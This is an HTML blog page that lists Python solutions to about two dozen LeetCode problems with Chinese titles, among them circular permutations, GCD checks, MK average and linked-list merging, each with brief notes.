<h3 id="1238-循环码排列"><a href="#1238-循环码排列" class="headerlink" title="1238. 循环码排列"></a>1238. 循环码排列</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def circularPermutation(self, n: int, start: int) -> List[int]:</span><br><span class="line"> ans = [start]</span><br><span class="line"> for i in range(1, n + 1):</span><br><span class="line"> for j in range(len(ans) - 1, -1, -1):</span><br><span class="line"> ans.append(((ans[j] ^ start) | (1 << (i - 1))) ^ start)</span><br><span class="line"> return ans</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1247-交换字符使得字符串相同"><a href="#1247-交换字符使得字符串相同" class="headerlink" title="1247. 交换字符使得字符串相同"></a>1247. 交换字符使得字符串相同</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minimumSwap(self, s1: str, s2: str) -> int:</span><br><span class="line"> xy, yx = 0, 0</span><br><span class="line"> for i in range(len(s1)):</span><br><span class="line"> if s1[i] == 'x' and s2[i] == 'y':</span><br><span class="line"> xy += 1</span><br><span class="line"> if s1[i] == 'y' and s2[i] == 'x':</span><br><span class="line"> yx += 1</span><br><span class="line"> if (xy + yx) & 1:</span><br><span class="line"> return -1</span><br><span class="line"> return (xy // 2) + (yx // 2) + (xy % 2) + (yx % 2)</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1250-检查「好数组」"><a href="#1250-检查「好数组」" class="headerlink" title="1250. 检查「好数组」"></a>1250. 检查「好数组」</h3><p>数论的东西,又想起信安数学基础了…<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def isGoodArray(self, nums: List[int]) -> bool:</span><br><span class="line"> return reduce(gcd, nums) == 1</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="1487-保证文件名唯一"><a href="#1487-保证文件名唯一" class="headerlink" title="1487. 保证文件名唯一"></a>1487. 保证文件名唯一</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def getFolderNames(self, names: List[str]) -> List[str]:</span><br><span class="line"> res = []</span><br><span class="line"> hashtable = {}</span><br><span class="line"> for name in names:</span><br><span class="line"> if name not in hashtable:</span><br><span class="line"> res.append(name)</span><br><span class="line"> hashtable[name] = 1</span><br><span class="line"> else:</span><br><span class="line"> k = hashtable[name]</span><br><span class="line"> while name + '(' + str(k) + ')' in hashtable:</span><br><span class="line"> k += 1</span><br><span class="line"> tmp = name + '(' + str(k) + ')'</span><br><span class="line"> res.append(tmp)</span><br><span class="line"> hashtable[name] = k + 1</span><br><span class="line"> hashtable[tmp] = 1</span><br><span class="line"> return res</span><br></pre></td></tr></table></figure>
<h3 id="1590-使数组和能被-P-整除"><a href="#1590-使数组和能被-P-整除" class="headerlink" title="1590. 使数组和能被 P 整除"></a>1590. 使数组和能被 P 整除</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minSubarray(self, nums: List[int], p: int) -> int:</span><br><span class="line"> totalRemainder = sum(nums) % p</span><br><span class="line"> if totalRemainder == 0:</span><br><span class="line"> return 0</span><br><span class="line"> index = {0:-1}</span><br><span class="line"> curRemainder = 0</span><br><span class="line"> res = len(nums)</span><br><span class="line"> for i in range(len(nums)):</span><br><span class="line"> curRemainder = (curRemainder + nums[i]) % p</span><br><span class="line"> if (curRemainder - totalRemainder) % p in index:</span><br><span class="line"> res = min(res, i - index[(curRemainder - totalRemainder) % p])</span><br><span class="line"> index[curRemainder] = i</span><br><span class="line"> if res < len(nums):</span><br><span class="line"> return res</span><br><span class="line"> else:</span><br><span class="line"> return -1</span><br></pre></td></tr></table></figure>
<h3 id="1599-经营摩天轮的最大利润"><a href="#1599-经营摩天轮的最大利润" class="headerlink" title="1599. 经营摩天轮的最大利润"></a>1599. 经营摩天轮的最大利润</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minOperationsMaxProfit(self, customers: List[int], boardingCost: int, runningCost: int) -> int:</span><br><span class="line"> ans = -1</span><br><span class="line"> maxProfit = tmpProfit = 0</span><br><span class="line"> i = 0</span><br><span class="line"> wait = 0</span><br><span class="line"> while wait or i < len(customers):</span><br><span class="line"> if i < len(customers):</span><br><span class="line"> wait += customers[i]</span><br><span class="line"> up = min(4, wait)</span><br><span class="line"> wait -= up</span><br><span class="line"> i += 1</span><br><span class="line"> tmpProfit += boardingCost * up - runningCost</span><br><span class="line"> if tmpProfit > maxProfit:</span><br><span class="line"> ans = i</span><br><span class="line"> maxProfit = tmpProfit</span><br><span class="line"> return ans</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1605-给定行和列的和求可行矩阵"><a href="#1605-给定行和列的和求可行矩阵" class="headerlink" title="1605. 给定行和列的和求可行矩阵"></a>1605. 给定行和列的和求可行矩阵</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def restoreMatrix(self, rowSum: List[int], colSum: List[int]) -> List[List[int]]:</span><br><span class="line"> n, m = len(rowSum), len(colSum)</span><br><span class="line"> i = j = 0</span><br><span class="line"> res = [[0] * m for _ in range(n)]</span><br><span class="line"> while i < n and j < m:</span><br><span class="line"> tmp = min(rowSum[i], colSum[j])</span><br><span class="line"> res[i][j] = tmp</span><br><span class="line"> rowSum[i] -= tmp</span><br><span class="line"> colSum[j] -= tmp</span><br><span class="line"> if rowSum[i] == 0:</span><br><span class="line"> i += 1</span><br><span class="line"> if colSum[j] == 0:</span><br><span class="line"> j += 1</span><br><span class="line"> return res</span><br></pre></td></tr></table></figure>
<h3 id="1615-最大网络秩"><a href="#1615-最大网络秩" class="headerlink" title="1615. 最大网络秩"></a>1615. 最大网络秩</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def maximalNetworkRank(self, n: int, roads: List[List[int]]) -> int:</span><br><span class="line"> connected = [[False] * n for _ in range(n)]</span><br><span class="line"> degree = [0] * n</span><br><span class="line"> for a, b in roads:</span><br><span class="line"> connected[a][b] = True</span><br><span class="line"> connected[b][a] = True</span><br><span class="line"> degree[a] += 1</span><br><span class="line"> degree[b] += 1</span><br><span class="line"> res = 0</span><br><span class="line"> for i in range(n - 1):</span><br><span class="line"> for j in range(i + 1, n):</span><br><span class="line"> rank = degree[i] + degree[j] - connected[i][j]</span><br><span class="line"> res = max(res, rank)</span><br><span class="line"> return res</span><br></pre></td></tr></table></figure>
<h3 id="1616-分割两个字符串得到回文串"><a href="#1616-分割两个字符串得到回文串" class="headerlink" title="1616. 分割两个字符串得到回文串"></a>1616. 分割两个字符串得到回文串</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def checkPalindromeFormation(self, a: str, b: str) -> bool:</span><br><span class="line"> def check(str1, str2):</span><br><span class="line"> i, j = 0, len(str1) - 1</span><br><span class="line"> while i < j and str1[i] == str2[j]:</span><br><span class="line"> i += 1</span><br><span class="line"> j -= 1</span><br><span class="line"> if i >= j:</span><br><span class="line"> return True</span><br><span class="line"> s, t = str1[i:j+1], str2[i:j+1]</span><br><span class="line"> return s == s[::-1] or t == t[::-1]</span><br><span class="line"> return check(a, b) or check(b, a)</span><br></pre></td></tr></table></figure>
<h3 id="1625-执行操作后字典序最小的字符串"><a href="#1625-执行操作后字典序最小的字符串" class="headerlink" title="1625. 执行操作后字典序最小的字符串"></a>1625. 执行操作后字典序最小的字符串</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findLexSmallestString(self, s: str, a: int, b: int) -> str:</span><br><span class="line"> ans = s</span><br><span class="line"> n = len(s)</span><br><span class="line"> s = list(s)</span><br><span class="line"> for _ in range(n):</span><br><span class="line"> s = s[-b:] + s[:-b]</span><br><span class="line"> for _ in range(10):</span><br><span class="line"> for k in range(1, n, 2):</span><br><span class="line"> s[k] = str((int(s[k]) + a) % 10)</span><br><span class="line"> if b & 1:</span><br><span class="line"> for _ in range(10):</span><br><span class="line"> for j in range(0, n, 2):</span><br><span class="line"> s[j] = str((int(s[j]) + a) % 10)</span><br><span class="line"> t = ''.join(s)</span><br><span class="line"> ans = min(ans, t)</span><br><span class="line"> else:</span><br><span class="line"> t = ''.join(s)</span><br><span class="line"> ans = min(ans, t)</span><br><span class="line"> return ans</span><br></pre></td></tr></table></figure>
<h3 id="1653-使字符串平衡的最少删除次数"><a href="#1653-使字符串平衡的最少删除次数" class="headerlink" title="1653. 使字符串平衡的最少删除次数"></a>1653. 使字符串平衡的最少删除次数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minimumDeletions(self, s: str) -> int:</span><br><span class="line"> leftb, righta = 0, s.count('a')</span><br><span class="line"> res = righta</span><br><span class="line"> for c in s:</span><br><span class="line"> if c == 'a':</span><br><span class="line"> righta -= 1</span><br><span class="line"> else:</span><br><span class="line"> leftb += 1</span><br><span class="line"> res = min(res, leftb + righta)</span><br><span class="line"> return res</span><br></pre></td></tr></table></figure>
<h3 id="1663-具有给定数值的最小字符串"><a href="#1663-具有给定数值的最小字符串" class="headerlink" title="1663. 具有给定数值的最小字符串"></a>1663. 具有给定数值的最小字符串</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def getSmallestString(self, n: int, k: int) -> str:</span><br><span class="line"> result = ''</span><br><span class="line"> for i in range(1, n+1):</span><br><span class="line"> idx = max(1, k - (n - i) * 26)</span><br><span class="line"> k -= idx</span><br><span class="line"> result += ascii_lowercase[idx - 1]</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1664-生成平衡数组的方案数"><a href="#1664-生成平衡数组的方案数" class="headerlink" title="1664. 生成平衡数组的方案数"></a>1664. 生成平衡数组的方案数</h3><p>ref: <a target="_blank" rel="noopener" href="https://leetcode.cn/problems/ways-to-make-a-fair-array/solution/sheng-cheng-ping-heng-shu-zu-de-fang-an-0mkaj/">https://leetcode.cn/problems/ways-to-make-a-fair-array/solution/sheng-cheng-ping-heng-shu-zu-de-fang-an-0mkaj/</a><br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def waysToMakeFair(self, nums: List[int]) -> int:</span><br><span class="line"> result = 0</span><br><span class="line"> odd1 = odd2 = even1 = even2 = 0</span><br><span class="line"> for i in range(len(nums)):</span><br><span class="line"> if i & 1:</span><br><span class="line"> odd2 += nums[i]</span><br><span class="line"> else:</span><br><span class="line"> even2 += nums[i]</span><br><span class="line"> for i in range(len(nums)):</span><br><span class="line"> if i & 1:</span><br><span class="line"> odd2 -= nums[i]</span><br><span class="line"> else:</span><br><span class="line"> even2 -= nums[i]</span><br><span class="line"> if odd1 + even2 == odd2 + even1:</span><br><span class="line"> result += 1</span><br><span class="line"> if i & 1:</span><br><span class="line"> odd1 += nums[i]</span><br><span class="line"> else:</span><br><span class="line"> even1 += nums[i]</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="1669-合并两个链表"><a href="#1669-合并两个链表" class="headerlink" title="1669. 合并两个链表"></a>1669. 合并两个链表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, val=0, next=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.next = next</span><br><span class="line">class Solution:</span><br><span class="line"> def mergeInBetween(self, list1: ListNode, a: int, b: int, list2: ListNode) -> ListNode:</span><br><span class="line"> head_prev = list1</span><br><span class="line"> for _ in range(a - 1):</span><br><span class="line"> head_prev = head_prev.next</span><br><span class="line"> tail_prev = head_prev</span><br><span class="line"> for _ in range(b - a + 1):</span><br><span class="line"> tail_prev = tail_prev.next</span><br><span class="line"> head_prev.next = list2</span><br><span class="line"> cur = list2</span><br><span class="line"> while cur.next:</span><br><span class="line"> cur = cur.next</span><br><span class="line"> cur.next = tail_prev.next</span><br><span class="line"> return list1</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="1792-最大平均通过率"><a href="#1792-最大平均通过率" class="headerlink" title="1792. 最大平均通过率"></a>1792. 最大平均通过率</h3><p>use a priority queue, time: O(n+m*log(n)), space: O(1)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">class Entry:</span><br><span class="line"> __slot__ = 'p', 't'</span><br><span class="line"></span><br><span class="line"> def __init__(self, p: int, t: int):</span><br><span class="line"> self.p = p</span><br><span class="line"> self.t = t</span><br><span class="line"> </span><br><span class="line"> def __lt__(self, b: 'Entry') -> bool:</span><br><span class="line"> return (self.t - self.p) * b.t * (b.t + 1) > (b.t - b.p) * self.t * (self.t + 1)</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def maxAverageRatio(self, classes: List[List[int]], extraStudents: int) -> float:</span><br><span class="line"> entrys = [Entry(c[0], c[1]) for c in classes]</span><br><span class="line"> heapify(entrys)</span><br><span class="line"> for _ in range(extraStudents):</span><br><span class="line"> heapreplace(entrys, Entry(entrys[0].p + 1, entrys[0].t + 1))</span><br><span class="line"> return sum([entry.p / entry.t for entry in entrys]) / len(entrys)</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="1798-你能构造出连续值的最大数目"><a href="#1798-你能构造出连续值的最大数目" class="headerlink" title="1798. 你能构造出连续值的最大数目"></a>1798. 你能构造出连续值的最大数目</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def getMaximumConsecutive(self, coins: List[int]) -> int:</span><br><span class="line"> result = 1</span><br><span class="line"> coins.sort()</span><br><span class="line"> for coin in coins:</span><br><span class="line"> if coin <= result:</span><br><span class="line"> result += coin</span><br><span class="line"> else:</span><br><span class="line"> break</span><br><span class="line"> return result</span><br><span class="line"> </span><br></pre></td></tr></table></figure>
<h3 id="1814-统计一个数组中好对子的数目"><a href="#1814-统计一个数组中好对子的数目" class="headerlink" title="1814. 统计一个数组中好对子的数目"></a>1814. 统计一个数组中好对子的数目</h3><p>nums[i] + rev(nums[j]) == nums[j] + rev(nums[i]) -> nums[i] - rev(nums[i]) == nums[j] - rev(nums[j])<br>use a hashmap to store the frequencies of values (num[i] - rev(nums[i])) for 0 <= i < n<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def countNicePairs(self, nums: List[int]) -> int:</span><br><span class="line"> result = 0</span><br><span class="line"> cnt = Counter()</span><br><span class="line"> for num in nums:</span><br><span class="line"> num_rev = int(str(num)[::-1])</span><br><span class="line"> result += cnt[num - num_rev]</span><br><span class="line"> cnt[num - num_rev] += 1</span><br><span class="line"> return result % (10 ** 9 + 7)</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="1817-查找用户活跃分钟数"><a href="#1817-查找用户活跃分钟数" class="headerlink" title="1817. 查找用户活跃分钟数"></a>1817. 查找用户活跃分钟数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findingUsersActiveMinutes(self, logs: List[List[int]], k: int) -> List[int]:</span><br><span class="line"> result = [0] * k</span><br><span class="line"> hashmap = defaultdict(set)</span><br><span class="line"> for log in logs:</span><br><span class="line"> hashmap[log[0]].add(log[1])</span><br><span class="line"> for val in hashmap.values():</span><br><span class="line"> if len(val) <= k:</span><br><span class="line"> result[len(val) - 1] += 1</span><br><span class="line"> return result</span><br><span class="line"> </span><br></pre></td></tr></table></figure>
<h3 id="1824-最少侧跳次数"><a href="#1824-最少侧跳次数" class="headerlink" title="1824. 最少侧跳次数"></a>1824. 最少侧跳次数</h3><p>dp<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minSideJumps(self, obstacles: List[int]) -> int:</span><br><span class="line"> result = [1, 0, 1]</span><br><span class="line"> for i in range(len(obstacles)):</span><br><span class="line"> minCnt = inf</span><br><span class="line"> for j in range(3):</span><br><span class="line"> if j == obstacles[i] - 1:</span><br><span class="line"> result[j] = inf</span><br><span class="line"> else:</span><br><span class="line"> minCnt = min(minCnt, result[j])</span><br><span class="line"> for j in range(3):</span><br><span class="line"> if j != obstacles[i] - 1:</span><br><span class="line"> result[j] = min(minCnt + 1, result[j])</span><br><span class="line"> return min(result)</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="1825-求出-MK-平均值"><a href="#1825-求出-MK-平均值" class="headerlink" title="1825. 求出 MK 平均值"></a>1825. 求出 MK 平均值</h3><p>use 3 SortedList to store the k, m-2k, k part of m numbers in queue.<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">from sortedcontainers import SortedList</span><br><span class="line"></span><br><span class="line">class MKAverage:</span><br><span class="line"></span><br><span class="line"> def __init__(self, m: int, k: int):</span><br><span class="line"> self.m = m</span><br><span class="line"> self.k = k</span><br><span class="line"> self.mid_sum = 0</span><br><span class="line"> self.queue = deque()</span><br><span class="line"> self.low = SortedList()</span><br><span class="line"> self.mid = SortedList()</span><br><span class="line"> self.high = SortedList()</span><br><span class="line"></span><br><span class="line"> def addElement(self, num: int) -> None:</span><br><span class="line"> if not self.low or num < self.low[-1]:</span><br><span class="line"> self.low.add(num)</span><br><span class="line"> elif not self.high or num > self.high[0]:</span><br><span class="line"> self.high.add(num)</span><br><span class="line"> else:</span><br><span class="line"> self.mid.add(num)</span><br><span class="line"> self.mid_sum += num</span><br><span class="line"> self.queue.append(num)</span><br><span class="line"> if len(self.queue) > self.m:</span><br><span class="line"> x = self.queue.popleft()</span><br><span class="line"> if x in self.low:</span><br><span class="line"> self.low.remove(x)</span><br><span class="line"> elif x in self.high:</span><br><span class="line"> self.high.remove(x)</span><br><span class="line"> else:</span><br><span class="line"> self.mid.remove(x)</span><br><span class="line"> self.mid_sum -= x</span><br><span class="line"> while len(self.low) > self.k:</span><br><span class="line"> x = self.low.pop()</span><br><span class="line"> self.mid.add(x)</span><br><span class="line"> self.mid_sum += x</span><br><span class="line"> while len(self.high) > self.k:</span><br><span class="line"> x = self.high.pop(0)</span><br><span class="line"> self.mid.add(x)</span><br><span class="line"> self.mid_sum += x</span><br><span class="line"> while len(self.low) < self.k and self.mid:</span><br><span class="line"> x = self.mid.pop(0)</span><br><span class="line"> self.low.add(x)</span><br><span class="line"> self.mid_sum -= x</span><br><span class="line"> while len(self.high) < self.k and self.mid:</span><br><span class="line"> x = self.mid.pop()</span><br><span class="line"> self.high.add(x)</span><br><span class="line"> self.mid_sum -= x</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def calculateMKAverage(self) -> int:</span><br><span class="line"> if len(self.queue) < self.m:</span><br><span class="line"> return -1</span><br><span class="line"> else:</span><br><span class="line"> return self.mid_sum // (self.m - self.k * 2)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Your MKAverage object will be instantiated and called as such:</span><br><span class="line"># obj = MKAverage(m, k)</span><br><span class="line"># obj.addElement(num)</span><br><span class="line"># param_2 = obj.calculateMKAverage()</span><br></pre></td></tr></table></figure></p>
<h3 id="1828-统计一个圆中点的数目"><a href="#1828-统计一个圆中点的数目" class="headerlink" title="1828. 统计一个圆中点的数目"></a>1828. 统计一个圆中点的数目</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def countPoints(self, points: List[List[int]], queries: List[List[int]]) -> List[int]:</span><br><span class="line"> result = []</span><br><span class="line"> for querie in queries:</span><br><span class="line"> count = 0</span><br><span class="line"> for point in points:</span><br><span class="line"> if (point[0] - querie[0]) ** 2 + (point[1] - querie[1]) ** 2 <= querie[2] ** 2:</span><br><span class="line"> count += 1</span><br><span class="line"> result.append(count)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2215-找出两数组的不同"><a href="#2215-找出两数组的不同" class="headerlink" title="2215. 找出两数组的不同"></a>2215. 找出两数组的不同</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findDifference(self, nums1: List[int], nums2: List[int]) -> List[List[int]]:</span><br><span class="line"> set1 = set(nums1)</span><br><span class="line"> set2 = set(nums2)</span><br><span class="line"> result = [[], []]</span><br><span class="line"> for num in set1:</span><br><span class="line"> if num not in set2:</span><br><span class="line"> result[0].append(num)</span><br><span class="line"> for num in set2:</span><br><span class="line"> if num not in set1:</span><br><span class="line"> result[1].append(num)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
